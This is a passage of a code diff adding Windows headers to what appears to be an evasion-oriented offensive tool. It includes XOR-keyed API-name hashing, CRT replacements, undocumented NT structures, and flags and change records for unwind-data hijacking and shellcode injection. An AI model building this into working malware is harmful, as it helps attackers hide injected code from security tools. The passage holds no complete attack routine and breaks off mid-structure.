time. Supports both ANSI & UNICODE +====================================================*/ +namespace Hash { + template struct CleanType; + template struct CleanType { using type = T; }; + template struct CleanType { using type = T; }; + + template + constexpr ULONG ExprHashStrDjb2(_In_ T StringToHash) { + + ULONG Hash = 5448; + ULONG Seed = 7; + constexpr auto XorKey = 0x1337u; + + using CharType = typename CleanType::type; + CharType Char = 0; + + if (!StringToHash) { + return 0; + } + + while ((Char = *StringToHash++) != 0) { + + /* Convert current character to uppercase */ + if (Char >= 'a' && Char <= 'z') { + Char -= 0x20; + } + + /* Append Hash */ + Hash = ((Hash << Seed) + Hash) + Char; + } + + return Hash ^ XorKey; + } +} + +/*================================================== +@ CRT (C Runtime Library) Function Replacements +====================================================*/ +namespace Primitive { + + /* memcpy */ + inline VOID MemoryCopy(_In_ PVOID pDestination, _In_ PVOID pSource, _In_ SIZE_T sSize) { + + PBYTE D = (PBYTE)pDestination; + PBYTE S = (PBYTE)pSource; + + while (sSize--) { + *D++ = *S++; + } + } + + /* memset */ + inline PVOID MemorySet(_In_ PVOID pDestination, _In_ INT iValue, _In_ SIZE_T sCount) { + + PBYTE D = (PBYTE)pDestination; + + while (sCount--) { + + *D = (BYTE)iValue; + D++; + } + + return pDestination; + } + + /* strlen (Supports both ANSI & UNICODE) */ + template + inline SIZE_T StringLength(_In_ T String) { + + auto Ptr = String; + + if (!String) return 0; + + while (*Ptr) { + Ptr++; + } + + return (SIZE_T)(Ptr - String); + } + + /* memcmp */ + inline INT MemoryCompare(_In_ const VOID* Ptr1, _In_ const VOID* Ptr2, _In_ SIZE_T Num) { + + const unsigned char* P1 = (const unsigned char*)Ptr1; + const unsigned char* P2 = (const unsigned char*)Ptr2; + + while (Num--) { + if (*P1 != *P2) + return *P1 - *P2; + P1++; + P2++; + } + + return 0; + } + + /* strrchr */ + inline PCHAR StringFindLastChar(_In_ PCHAR String, _In_ INT Char) { + + PCHAR Last = nullptr; + + if (!String) return nullptr; + + while (*String) { + if (*String == (CHAR)Char) + Last = String; + String++; + } + + return Last; + } + + /* Other Helpers */ + inline VOID WideToAnsi(_In_ PWSTR Wide, OUT PCSTR Ansi, _In_ SIZE_T MaxCount) { + + if (!Wide || !Ansi || !MaxCount) + return; + + SIZE_T Index = 0; + + while (Wide[Index] != L'\0' && Index < (MaxCount - 1)) { + + ((PCHAR)Ansi)[Index] = ((CHAR)Wide[Index]); + Index++; + } + + ((PCHAR)Ansi)[Index] = '\0'; + } + + inline VOID AnsiToWide(_In_ PCSTR Ansi, OUT PWSTR Wide, _In_ SIZE_T MaxCount) { + + if (!Ansi || !Wide || !MaxCount) + return; + + SIZE_T Index = 0; + + while (Ansi[Index] != '\0' && Index < (MaxCount - 1)) { + + Wide[Index] = (WCHAR)Ansi[Index]; + Index++; + } + + Wide[Index] = L'\0'; + } +} + +inline void* operator new(size_t size) { + return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size); +} + +inline void operator delete(void* ptr) noexcept { + if (ptr) HeapFree(GetProcessHeap(), 0, ptr); +} + +inline void operator delete(void* ptr, size_t) noexcept { + if (ptr) HeapFree(GetProcessHeap(), 0, ptr); +} + +/*================================================== +@ Macros to provide better readability for the reader +====================================================*/ +namespace Macro { + + template + inline VOID DeleteHandle(T& H) { + if (H && H != INVALID_HANDLE_VALUE) { + CloseHandle(H); + H = nullptr; + } + } + + template + inline VOID DeletePtr(T& PTR) { + if (PTR != nullptr) { + HeapFree(GetProcessHeap(), 0, PTR); + PTR = nullptr; + } + } +} + +#endif // PRIMIVITES_H diff --git a/include/Structs.h b/include/Structs.h new file mode 100644 index 0000000..f6b99df --- /dev/null +++ b/include/Structs.h @@ -0,0 +1,1495 @@ +#pragma once +#ifndef STRUCTS_H +#define STRUCTS_H + +#include + +/*=================================== +# Status Codes +=====================================*/ +#define STATUS_SUCCESS 0x00000000 +#define STATUS_UNSUCCESSFULL 0xC0000001 +#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 +#define STATUS_NOT_FOUND 0xC0000225 + +/*=================================== +# NT Macros +=====================================*/ +#define NtCurrentProcess() ((HANDLE)-1) +#define NtCurrentThread() ((HANDLE)-2) +#define NtCurrentTeb() ((TEB*)__readgsqword(0x30)) +#define NT_SUCCESS(STATUS) (((NTSTATUS)(STATUS)) >= STATUS_SUCCESS) +#define CURRENT_PROCESS ((HANDLE)0xFFFFFFFFFFFFFFFF) + +/*=================================== +# Alignment Macros +=====================================*/ +#define ALIGN_UP(x, a) (((x) + ((a) - 1)) & ~((a) - 1)) +#define ALIGN_UP_POW2(x, align) (((x) + ((align) - 1)) & ~((align) - 1)) + +/*=================================== +# Bit Macros +=====================================*/ +#define BitVal(data, y) ((data >> y) & 1) +#define BitChainInfo(data) BitVal(data, 2) +#define BitUHandler(data) BitVal(data, 1) +#define BitEHandler(data) BitVal(data, 0) + +/*=================================== +# Unwind Macros +=====================================*/ +#define MAX_FRAMES 154 +#define HIDWORD(l) ((DWORD)(((DWORDLONG)(l) >> 32) & 0xFFFFFFFF)) +#define Version(data) (BitVal(data, 4) * 2 + BitVal(data, 3)) + +#define GetUnwindCodeEntry(info, index) \ + ((info)->UnwindCode[index]) + +#define GetLanguageSpecificDataPtr(info) \ + ((PVOID)&GetUnwindCodeEntry((info), ((info)->CountOfCodes + 1) & ~1)) + +#define GetExceptionHandlerPtr(info) \ + ((PULONG)GetLanguageSpecificDataPtr(info) - 1) + +#define GetExceptionHandler(base, info) \ + ((PVOID)((ULONG64)(base) + *GetExceptionHandlerPtr(info))) + +#define GetChainedFunctionEntry(base, info) \ + ((PRUNTIME_FUNCTION)GetExceptionHandlerPtr(info)) + +#define GetExceptionDataPtr(info) \ + GetLanguageSpecificDataPtr(info) + +/*=================================== +# Flags +=====================================*/ +#define UNWIND_DATA_TAMPER 0x000f0000 +#define UNWIND_DATA_HIJACK 0x0000f000 +#define RT_FUNCTION_HIJACK 0x00000f00 +#define RT_FUNCTION_INJECT 0x000000f0 +#define RTFI_JIT_SYSINFORMER 0x0000000f +#define RTFI_JIT_WINDBG 0x0f000000 +#define RTFI_JIT_NORMAL_VA 0x00f00000 + +/*=================================== +# Call Instruction Patterns +=====================================*/ +#define CALL_NEAR 0xE8 +#define CALL_NEAR_QPTR 0xFF15 +#define CALL_FAR_QPTR 0x0015FF48 + +/*=================================== +# Unwind Flags +=====================================*/ +#ifndef UNW_FLAG_EHANDLER +#define UNW_FLAG_EHANDLER 0x01 +#define UNW_FLAG_UHANDLER 0x02 +#define UNW_FLAG_CHAININFO 0x04 +#endif + +/*=================================== +# Function Pointer Typedefs +=====================================*/ +typedef VOID(NTAPI* fnLdrProtectMrdata)(_In_ BOOL Protect); +typedef VOID(NTAPI* fnRtlAcquireSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock); +typedef VOID(NTAPI* fnRtlReleaseSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock); + +/*=================================== +# Typedefs +=====================================*/ +typedef unsigned char UBYTE; +typedef unsigned char* PUBYTE; + +/*=================================== +# Unwind Structures +=====================================*/ +typedef union _UNWIND_CODE { + struct { + UBYTE CodeOffset; + UBYTE UnwindOp : 4; + UBYTE OpInfo : 4; + }; + USHORT FrameOffset; +} UNWIND_CODE, *PUNWIND_CODE; + +typedef struct _UNWIND_INFO { + UBYTE Version : 3; + UBYTE Flags : 5; + UBYTE SizeOfProlog; + UBYTE CountOfCodes; + UBYTE FrameRegister : 4; + UBYTE FrameOffset : 4; + UNWIND_CODE UnwindCode[1]; +} UNWIND_INFO, *PUNWIND_INFO; + +typedef struct _UNWIND_BACKUP { + PUNWIND_INFO pOriginalLocation; + DWORD dwSize; + UBYTE Data[1]; +} UNWIND_BACKUP, *PUNWIND_BACKUP; + +typedef struct _RUNTIME_FUNCTION_BACKUP { + PRUNTIME_FUNCTION pOriginalLocation; + RUNTIME_FUNCTION Data; +} RUNTIME_FUNCTION_BACKUP, *PRUNTIME_FUNCTION_BACKUP; + +typedef struct _UNWIND_BUILD_PARAMS { + DWORD dwStackSize; + UBYTE numInstructions; + UBYTE flags; + BOOL useFpreg; + UBYTE fpReg; + UBYTE fpOffset; +} UNWIND_BUILD_PARAMS, *PUNWIND_BUILD_PARAMS; + +/*=================================== +# Unwind Op Codes +=====================================*/ +typedef enum _UNWIND_OP_CODES { + // x86_64. https://docs.microsoft.com/en-us/cpp/build/exception-handling-x64. + UWOP_PUSH_NONVOL = 0, + UWOP_ALLOC_LARGE, // 1 + UWOP_ALLOC_SMALL, // 2 + UWOP_SET_FPREG, // 3 + UWOP_SAVE_NONVOL, // 4 + UWOP_SAVE_NONVOL_BIG, // 5 + UWOP_EPILOG, // 6 + UWOP_SPARE_CODE, // 7 + UWOP_SAVE_XMM128, // 8 + UWOP_SAVE_XMM128BIG, // 9 + UWOP_PUSH_MACH_FRAME, // 10 +} UNWIND_CODE_OPS; + +/* --------------------------------------------------------------- + * Change record types + * --------------------------------------------------------------- */ +typedef enum _BYOUD_CHANGE_TYPE { + BCT_NONE = 0, + BCT_CACHE_ZERO, + BCT_PDATA_PROTECT, + BCT_PDATA_NOACCESS, + BCT_INVERTED_TABLE_SHRINK, + BCT_DYNAMIC_TABLE_ADD, + BCT_DYNAMIC_TABLE_TYPE, + BCT_RUNTIME_FUNCTION, + BCT_UNWIND_INFO, + BCT_SHELLCODE_APPENDED, + BCT_SHELLCODE_VIRTUALALLOC, +} BYOUD_CHANGE_TYPE; + +/* --------------------------------------------------------------- + * Per-change payload + * --------------------------------------------------------------- */ +typedef struct _BYOUD_CHANGE { + BYOUD_CHANGE_TYPE Type; + + union { + struct { ULONG64 Address; DWORD OldValue; } Cache; + struct { PVOID pModule; PVOID Base; SIZE_T Size; DWORD OldProtect; } Pdata; + struct { PVOID pModule; ULONG OldImageSize; } InvertedTable; + struct { PRUNTIME_FUNCTION pFunctionTable; } DynamicAdd; + struct { PVOID pEntry; DWORD OldType; } DynamicType; + struct { + PVOID pModule; PRUNTIME_FUNCTION pOriginalLocation; + RUNTIME_FUNCTION OldValue; + } RuntimeFunction; + struct { PVOID pLocation; PVOID pBackup; DWORD Size; } UnwindInfo; + struct { PVOID pModule; PVOID pAddress; DWORD Size; } ShellcodeAppended; + struct { PVOID pAddress; SIZE_T Size; } ShellcodeVA; + } u; +} BYOUD_CHANGE, * PBYOUD_CHANGE; + +/* --------------------------------------------------------------- + * Change log + * --------------------------------------------------------------- */ +#define BYOUD_MAX_CHANGES 32 + +typedef struct _BYOUD_CONTEXT { + BYOUD_CHANGE Changes[BYOUD_MAX_CHANGES]; + DWORD Count; + DWORD Technique; + PVOID pTargetModule; + PVOID pShellcodeAddress; + DWORD ShellcodeSize; +} BYOUD_CONTEXT, * PBYOUD_CONTEXT; + + +/*=================================== +# Register Numbers +=====================================*/ +typedef enum _REGISTERS { + RAX = 0, RCX, RDX, RBX, + RSP, RBP, RSI, RDI, + R8, R9, R10, R11, + R12, R13, R14, R15 +} REGISTERS; + +/*=================================== +# Min Context +=====================================*/ +typedef struct _MIN_CTX { + DWORD64 Rax; + DWORD64 Rcx; + DWORD64 Rdx; + DWORD64 Rbx; + DWORD64 Rsp; + DWORD64 Rbp; + DWORD64 Rsi; + DWORD64 Rdi; + DWORD64 R8; + DWORD64 R9; + DWORD64 R10; + DWORD64 R11; + DWORD64 R12; + DWORD64 R13; + DWORD64 R14; + DWORD64 R15; + DWORD64 Rip; + DWORD64 Reserved; + DWORD64 StackSize; +} MIN_CTX, *PMIN_CTX; + +/*=================================== +# Section Info +=====================================*/ +typedef struct _SECTION_INFO { + PVOID VirtualAddress; + SIZE_T VirtualSize; +} SECTION_INFO, *PSECTION_INFO; + +/*=================================== +# Dynamic Function Table +=====================================*/ +typedef struct _RTL_BALANCED_NODE { + union { + struct _RTL_BALANCED_NODE* Children[2]; + struct { + struct _RTL_BALANCED_NODE* Left; + struct _RTL_BALANCED_NODE* Right; + }; + }; + union { + UCHAR Red : 1; + UCHAR Balance : 2; + ULONG64 ParentValue; + }; +} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; + +typedef struct _DYNAMIC_FUNCTION_TABLE { + LIST_ENTRY Links; + PRUNTIME_FUNCTION FunctionTable; + LARGE_INTEGER TimeStamp; + ULONG64 MinimumAddress; + ULONG64 MaximumAddress; + ULONG64 BaseAddress; + PVOID Callback; + PVOID Context; + PWSTR OutOfProcessCallbackDll; + DWORD Type; + DWORD EntryCount; +} DYNAMIC_FUNCTION_TABLE, *PDYNAMIC_FUNCTION_TABLE; + +/*=================================== +# Inverted Function Table +=====================================*/ +typedef struct _INVERTED_FUNCTION_TABLE_ENTRY { + PVOID ExceptionDirectory; + PVOID ImageBase; + ULONG ImageSize; + ULONG ExceptionDirectorySize; +} INVERTED_FUNCTION_TABLE_ENTRY, *PINVERTED_FUNCTION_TABLE_ENTRY; + +typedef struct _INVERTED_FUNCTION_TABLE { + ULONG Count; + ULONG MaxCount; + ULONG Epoch; + UCHAR Overflow; + INVERTED_FUNCTION_TABLE_ENTRY Entries[0x100]; +} INVERTED_FUNCTION_TABLE, *PINVERTED_FUNCTION_TABLE; + +/*=================================== +# Callgate Params +=====================================*/ +typedef struct _SHADOWGATE_PARAMS { + UINT64 pFunction; + UINT64 dwMinimumFrameSize; + UINT64 argc; + UINT64 argv[1]; +} SHADOWGATE_PARAMS, *PSHADOWGATE_PARAMS; + +typedef struct _SHADOWGATE_COPY_INFO { + PVOID pSourceAddress; + DWORD dwSize; + PVOID pCopiedAddress; +} SHADOWGATE_COPY_INFO, *PSHADOWGATE_COPY_INFO; + +typedef ULONG_PTR(*ShadowGateFn)(PSHADOWGATE_PARAMS); + +typedef struct _LSA_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR; + +typedef struct _STRING { + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING, *PSTRING; + +#define PROCESSOR_FEATURE_MAX 64 +#define USER_SHARED_DATA ( ( PKUSER_SHARED_DATA ) 0x7FFE0000 ) +#define DELAY_TICKS 10000 + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef struct _KSYSTEM_TIME +{ + ULONG LowPart; + LONG High1Time; + LONG High2Time; +} KSYSTEM_TIME, * PKSYSTEM_TIME; + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt = 2, + NtProductServer = 3 +} NT_PRODUCT_TYPE; + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, + NEC98x86, + EndAlternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +typedef struct _RTL_HEAP_WALK_ENTRY +{ + PVOID DataAddress; + SIZE_T DataSize; + UCHAR OverheadBytes; + UCHAR SegmentIndex; + USHORT Flags; + union + { + struct + { + SIZE_T Settable; + USHORT TagIndex; + USHORT AllocatorBackTraceIndex; + ULONG Reserved[2]; + } Block; + struct + { + ULONG CommittedSize; + ULONG UnCommittedSize; + PVOID FirstEntry; + PVOID LastEntry; + } Segment; + }; +} RTL_HEAP_WALK_ENTRY, * PRTL_HEAP_WALK_ENTRY; + +typedef struct _KUSER_SHARED_DATA { + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + KSYSTEM_TIME InterruptTime; + KSYSTEM_TIME SystemTime; + KSYSTEM_TIME TimeZoneBias; + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + WCHAR NtSystemRoot[260]; + ULONG MaxStackTraceDepth; + ULONG CryptoExponent; + ULONG TimeZoneId; + ULONG LargePageMinimum; + ULONG AitSamplingValue; + ULONG AppCompatFlag; + ULONGLONG RNGSeedVersion; + ULONG GlobalValidationRunlevel; + LONG TimeZoneBiasStamp; + ULONG NtBuildNumber; + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + BOOLEAN Reserved0[1]; + USHORT NativeProcessorArchitecture; + ULONG NtMajorVersion; + ULONG NtMinorVersion; + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + ULONG Reserved1; + ULONG Reserved3; + ULONG TimeSlip; + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + ULONG BootId; + LARGE_INTEGER SystemExpirationDate; + ULONG SuiteMask; + BOOLEAN KdDebuggerEnabled; + union { + UCHAR MitigationPolicies; + struct { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + }; + }; + USHORT CyclesPerYield; + ULONG ActiveConsoleId; + ULONG DismountCount; + ULONG ComPlusPackage; + ULONG LastSystemRITEventTickCount; + ULONG NumberOfPhysicalPages; + BOOLEAN SafeBootMode; + union { + UCHAR VirtualizationFlags; + struct { + UCHAR ArchStartedInEl2 : 1; + UCHAR QcSlIsSupported : 1; + }; + }; + UCHAR Reserved12[2]; + union { + ULONG SharedDataFlags; + struct { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG DbgStateSeparationEnabled : 1; + ULONG SpareBits : 21; + } DUMMYSTRUCTNAME2; + } DUMMYUNIONNAME2; + ULONG DataFlagsPad[1]; + ULONGLONG TestRetInstruction; + LONGLONG QpcFrequency; + ULONG SystemCall; + ULONG Reserved2; + ULONGLONG SystemCallPad[2]; + union { + KSYSTEM_TIME TickCount; + ULONG64 TickCountQuad; + struct { + ULONG ReservedTickCountOverlay[3]; + ULONG TickCountPad[1]; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME3; + ULONG Cookie; + ULONG CookiePad[1]; + LONGLONG ConsoleSessionForegroundProcessId; + ULONGLONG TimeUpdateLock; + ULONGLONG BaselineSystemTimeQpc; + ULONGLONG BaselineInterruptTimeQpc; + ULONGLONG QpcSystemTimeIncrement; + ULONGLONG QpcInterruptTimeIncrement; + UCHAR QpcSystemTimeIncrementShift; + UCHAR QpcInterruptTimeIncrementShift; + USHORT UnparkedProcessorCount; + ULONG EnclaveFeatureMask[4]; + ULONG TelemetryCoverageRound; + USHORT UserModeGlobalLogger[16]; + ULONG ImageFileExecutionOptions; + ULONG LangGenerationCount; + ULONGLONG Reserved4; + ULONGLONG InterruptTimeBias; + ULONGLONG QpcBias; + ULONG ActiveProcessorCount; + UCHAR ActiveGroupCount; + UCHAR Reserved9; + union { + USHORT QpcData; + struct { + UCHAR QpcBypassEnabled; + UCHAR QpcShift; + }; + }; + LARGE_INTEGER TimeZoneBiasEffectiveStart; + LARGE_INTEGER TimeZoneBiasEffectiveEnd; + XSTATE_CONFIGURATION XState; + KSYSTEM_TIME FeatureConfigurationChangeStamp; + ULONG Spare; + ULONG64 UserPointerAuthMask; +} KUSER_SHARED_DATA, * PKUSER_SHARED_DATA; + + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_IGNORE_IMPERSONATED_DEVICEMAP 0x00000800L +#define OBJ_DONT_REPARSE 0x00001000L +#define OBJ_VALID_ATTRIBUTES 0x00001FF2L + +typedef struct _BASE_RELOCATION_ENTRY { + WORD Offset : 12; + WORD Type : 4; +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT, * PSECTION_INHERIT; + + +#define RTL_MAX_DRIVE_LETTERS 32 + + + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + UNICODE_STRING DosPath; + +} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; + +} CURDIR, * PCURDIR; + + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; + ULONG Length; + + ULONG Flags; + ULONG DebugFlags; + + HANDLE ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PWCHAR Environment; + + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; + + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; + + ULONG_PTR EnvironmentSize; + ULONG_PTR EnvironmentVersion; + PVOID PackageDependencyData; + ULONG ProcessGroupId; + ULONG LoaderThreads; + +} RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, * PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + ULONG Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBase; + PPEB_LDR_DATA LoaderData; + PVOID ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID* KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PVOID FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID* ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID** ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, * PPEB; + +typedef struct __CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, * PCLIENT_ID; + +typedef struct _TEB_ACTIVE_FRAME_CONTEXT { + ULONG Flags; + PCHAR FrameName; +} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _TEB_ACTIVE_FRAME { + ULONG Flags; + struct _TEB_ACTIVE_FRAME* Previous; + PTEB_ACTIVE_FRAME_CONTEXT Context; +} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; + +typedef struct _GDI_TEB_BATCH { + ULONG Offset; + ULONG HDC; + ULONG Buffer[310]; +} GDI_TEB_BATCH, * PGDI_TEB_BATCH; + +typedef PVOID PACTIVATION_CONTEXT; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; + PACTIVATION_CONTEXT ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; + +typedef struct _TEB { + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG User32Reserved[26]; + ULONG UserReserved[5]; + PVOID WOW32Reserved; + LCID CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[54]; + LONG ExceptionCode; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer; + UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)]; + ULONG TxFsContext; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; + UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)]; +#else + ACTIVATION_CONTEXT_STACK ActivationContextStack; + UCHAR SpareBytes1[24]; +#endif + GDI_TEB_BATCH GdiTebBatch; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocalInfo; + PSIZE_T Win32ClientInfo[62]; + PVOID glDispatchTable[233]; + PSIZE_T glReserved1[29]; + PVOID glReserved2; + PVOID glSectionInfo; + PVOID glSection; + PVOID glTable; + PVOID glCurrentRC; + PVOID glContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[261]; + PVOID DeallocationStack; + PVOID TlsSlots[64]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[2]; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG HardErrorMode; +#else + ULONG HardErrorsAreDisabled; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)]; + GUID ActivityId; + PVOID SubProcessTag; + PVOID EtwLocalData; + PVOID EtwTraceData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + PVOID Instrumentation[14]; + PVOID SubProcessTag; + PVOID EtwLocalData; +#else + PVOID Instrumentation[16]; +#endif + PVOID WinSockData; + ULONG GdiBatchCount; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + BOOLEAN SpareBool0; + BOOLEAN SpareBool1; + BOOLEAN SpareBool2; +#else + BOOLEAN InDbgPrint; + BOOLEAN FreeStackOnTermination; + BOOLEAN HasFiberData; +#endif + UCHAR IdealProcessor; +#if (NTDDI_VERSION >= NTDDI_WS03) + ULONG GuaranteedStackBytes; +#else + ULONG Spare3; +#endif + PVOID ReservedForPerf; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID SavedPriorityState; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR ThreadPoolData; +#elif (NTDDI_VERSION >= NTDDI_WS03) + ULONG_PTR SparePointer1; + ULONG_PTR SoftPatchPtr1; + ULONG_PTR SoftPatchPtr2; +#else + Wx86ThreadState Wx86Thread; +#endif + PVOID* TlsExpansionSlots; +#if defined(_WIN64) && !defined(EXPLICIT_32BIT) + PVOID DeallocationBStore; + PVOID BStoreLimit; +#endif + ULONG ImpersonationLocale; + ULONG IsImpersonating; + PVOID NlsCache; + PVOID pShimData; + ULONG HeapVirtualAffinity; + HANDLE CurrentTransactionHandle; + PTEB_ACTIVE_FRAME ActiveFrame; +#if (NTDDI_VERSION >= NTDDI_WS03) + PVOID FlsData; +#endif +#if (NTDDI_VERSION >= NTDDI_LONGHORN) + PVOID PreferredLangauges; + PVOID UserPrefLanguages; + PVOID MergedPrefLanguages; + ULONG MuiImpersonation; + union + { + struct + { + USHORT 